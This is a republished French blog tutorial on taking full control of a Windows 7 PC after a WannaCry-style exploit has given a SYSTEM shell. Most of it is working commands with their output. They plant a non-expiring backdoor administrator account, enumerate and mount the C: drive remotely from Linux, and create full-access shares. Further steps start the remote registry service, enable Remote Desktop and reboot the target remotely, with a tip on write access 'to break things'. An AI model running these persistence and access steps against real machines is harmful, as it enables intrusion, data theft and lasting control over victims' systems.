WannaCry: Après l’Exploit, la prise de contrôle de Windows

Republication d’article

Source de l’article: WannaCry: Après l’Exploit, la prise de contrôle de Windows

Après un exploit réussi, comme avec “WannaCry”, je vais montrer comment prendre le contrôle du PC et avoir accès à l'ensemble des données du système vulnérable.

Pour cela, il faudra créer un compte administrateur, créer des partages, et enfin les rendre accessibles sous Linux.
En bonus, j'activerai le service “Bureau à Distance” … 😉


The gods, will not save you.

Je ne connais pas bien Windows, donc il est possible que j'emprunte des détours inutiles pour arriver a mes fins…
Soyez indulgent :-\

Pré-requis

On est censé connaitre l'IP de la cible.

On a réalisé l'exploit vu précédemment et on se retrouve dans “cmd.exe” avec un prompt ressemblant à ça:

C:\Windows\system32>

Un petit tour d'abord…

Les partages disponibles…

C:\Windows\system32>net share
net share

Nom partage  Ressource                       Remarque

-------------------------------------------------------------------------------
C$           C:\                             Partage par dfaut
D$           D:\                             Partage par dfaut
IPC$                                         IPC distant
La commande s'est termine correctement.

Dans cette session, les comptes locaux visibles:

C:\Windows\system32>net user
net user

comptes d'utilisateurs de \\

-------------------------------------------------------------------------------
Administrateur           Invit
Des erreurs ont affect l'excution de la commande.

(le desert)

Qui suis-je:

C:\Windows\system32>whoami
whoami
autorite nt\systme

Je suis l'autorité suprême sur ce système 😀

Créer un compte admin

On va créer le compte “john

C:\Windows\system32>net user john PASSWORD /ADD /Y
net user john PASSWORD /ADD /Y
La commande s'est termine correctement.

Remplacer “PASSWORD” par le mot de passe que vous voulez (mais pas trop simple: on va devenir admin)

Ajouter ce compte dans le groupe des Administrateurs:

C:\Windows\system32>net localgroup Administrateurs john /add
net localgroup Administrateurs john /add
La commande s'est termine correctement.

Le nom du groupe “Administrateurs” sera différent selon la langue par défaut.

Si nécessaire, désactiver l'expiration du compte:

C:\Windows\system32>net user john /expires:never
net user john /expires:never
La commande s'est termine correctement.

Si nécessaire, désactiver l'expiration du mot de passe:

C:\Windows\system32>wmic useraccount where "name='john'" set PasswordExpires=FALSE
wmic useraccount where "name='john'" set PasswordExpires=FALSE
Mettre  jour les proprits de '\\PC046\ROOT\CIMV2:Win32_UserAccount.Domain="PC046",Name="john"'
La mise  jour des proprits a russi.

Vérifions:

C:\Windows\system32>net user john
net user john
Nom d'utilisateur                              john
Nom complet
Commentaire
Commentaires utilisateur
Code du pays                                   000 (Valeur par dfaut du systme)
Compte: actif                                 Oui
Le compte expire                               Jamais

Mot de passe: dernier changmt.                13/05/2017 03:18:11
Le mot de passe expire                         Jamais
Le mot de passe modifiable                     14/05/2017 03:18:11
Mot de passe exig                             Oui
L'utilisateur peut changer de mot de passe     Oui

Stations autorises                            Tout
Script d'ouverture de session
Profil d'utilisateur
Rpertoire de base
Dernier accs                                  Jamais

Heures d'accs autoris                        Tout

Appartient aux groupes locaux                  *Administrateurs
                                               *Utilisateurs
Appartient aux groupes globaux                 *None
La commande s'est termine correctement.

Plus tard, on pourra effacer simplement ce compte comme ceci:

C:\Windows\system32>net user john /DELETE

Tester le compte

Par exemple, à partir d'un terminal sous Linux:

$ smbclient -L <IP> -U.\\john%<PASSWORD>

Remplacer “<IP>” et “<PASSWORD>” par les bonnes valeurs en votre possession.

Note: Le petit “.\\” , juste avant le nom du compte, sert juste a dire: “c'est un compte du domaine local”.
On aurait pu mettre le nom de l'ordinateur, qu'on peut déterminer (entre autres) comme ceci:

C:\Windows\system32>set COMPUTERNAME
set COMPUTERNAME
COMPUTERNAME=PC046

Bref, à partir de l'exemple ci-dessus, on obtient un affichage ressemblant à ça:

Domain=[THIERRY-JAOUEN] OS=[Windows 7 Professional 7601 Service Pack 1] Server=[Windows 7 Professional 6.1]

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Administration à distance
        C$              Disk      Partage par défaut
        D$              Disk      Partage par défaut
        IPC$            IPC       IPC distant
Connection to 192.168.1.23 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
NetBIOS over TCP disabled -- no workgroup available

Donc, le compte est OK.

On aurait pu utiliser d'autres commandes comme:

$ net rpc user -S <IP> -U.\\john%<PASSWORD>
Administrateur
john
Invité

La liste des partages:

$ net rpc share -S <IP> -U.\\john%<PASSWORD>
ADMIN$
C$
D$
IPC$

Vérifier l'état des services, les démarrer ou les arrêter…

$ net rpc service status TermService -I <IP> -U.\\john%<PASSWORD>
TermService service is stopped.
Configuration details:
        Controls Accepted    = 0x0
        Service Type         = 0x20
        Start Type           = 0x3
        Error Control        = 0x1
        Tag ID               = 0x0
        Executable Path      = C:\Windows\System32\svchost.exe -k NetworkService
        Load Order Group     =
        Dependencies         = RPCSS/TermDD/
        Start Name           = NT Authority\NetworkService
        Display Name         = Services Bureau à distance

(Ne le faites pas avant d'avoir créé un compte “admin”!) Rebooter la machine:

$ net rpc shutdown -r -I <IP> -U.\\john%<PASSWORD>

… etc…

Monter les partages

simple

Comme vu précédemment, il y a peut être un certain nombre de partages disponibles, et ils sont peut être montable sans effort particulier.

Pour l'exemple, on va monter sous Linux le partage “C$” du Windows vulnérable:

# mkdir /mnt/Disk_C
# mount -t cifs -r -o nounix,username=john,password=<PASSWORD>,domain=. //<IP>/C\$ /mnt/Disk_C

Remplacer “<PASSWORD>” et “<IP>” par les valeurs qui vont bien.
Rappel: l'option “domain=.” dit simplement que c'est un compte local au système.

On monte en lecture seule, mais si vous voulez vraiment casser des trucs, retirer l'option “-r”.

Maintenant, on a accès a l'ensemble de “C:\” à partir du point de montage en /mnt/Disk_C.

monter des partages soient même

Si les partages des disques ne sont pas activés, alors on va le faire nous-même.

Pour l'exemple, on va activer le partage du disque “C:” (à partir de la console de l'exploit):

C:\Windows\system32>net share C$=C:\ "/GRANT:Administrateurs,FULL" /Cache:No /Unlimited
net share C$=C:\ "/GRANT:Administrateurs,FULL" /Cache:No /Unlimited
C$ a t partag.

Si le nom de partage “C$” est déjà utilisé, vous pouvez choisir un autre nom, par exemple “WANNACRY_C$”… 🙂

demontage

Plus tard, on démontera le disk avec:

# umount /mnt/Disk_C

Plus tard encore, si vous voulez faire disparaitre ce partage de Windows:

C:\Windows\system32>net share C$ /DELETE

Voila: Enjoy

Bureau a Distance (rdesktop)

❗ Soyez prudent: Ce genre de manip laisse beaucoup de trace sur le Window$

Il faut pouvoir activer le “rdesktop”, et pour cela, il faut modifier la base de registre (de mon expérience…)

Le service d'accès à la base de registre à distance fonctionne ?

$ net rpc service status RemoteRegistry -I <IP> -U.\\john%<PASSWORD>
RemoteRegistry service is stopped.
...

Non.

Alors, activer le service:

$ net rpc service start RemoteRegistry -I <IP> -U.\\john%<PASSWORD>
RemoteRegistry service is stopped.
...
$ net rpc service start RemoteRegistry -I <IP> -U.\\john%<PASSWORD>
....................
Successfully started service: RemoteRegistry

Il faut récupérer le nom de la machine (voir ci-dessus) et avec “regedit.exe” , a partir d'un autre Window$ (désolé:je n'ai pas plus cool), se connecter à la base de registre en utilisant le compte “<COMPUTERNAME>\\john” et le mot de passe qui va bien.

Ensuite, mettre a zéro ça:

HKEY_LOCAL_MACHINE > System > CurrentControlSet > Control > Terminal Server > fDenyTSConnections : 0

Ce qui va autoriser les connexions au “remote desktop”.

Bizarrement, je n'ai pas eu besoin de démarrer le service “Bureau a distance”, mais au cas où:

$ net rpc service start TermService -I <IP> -U.\\john%<PASSWORD>
....

Et maintenant, on peut atteindre le Windows vulnérable:

$ rdesktop <IP> -g70% -u john -n prout

😎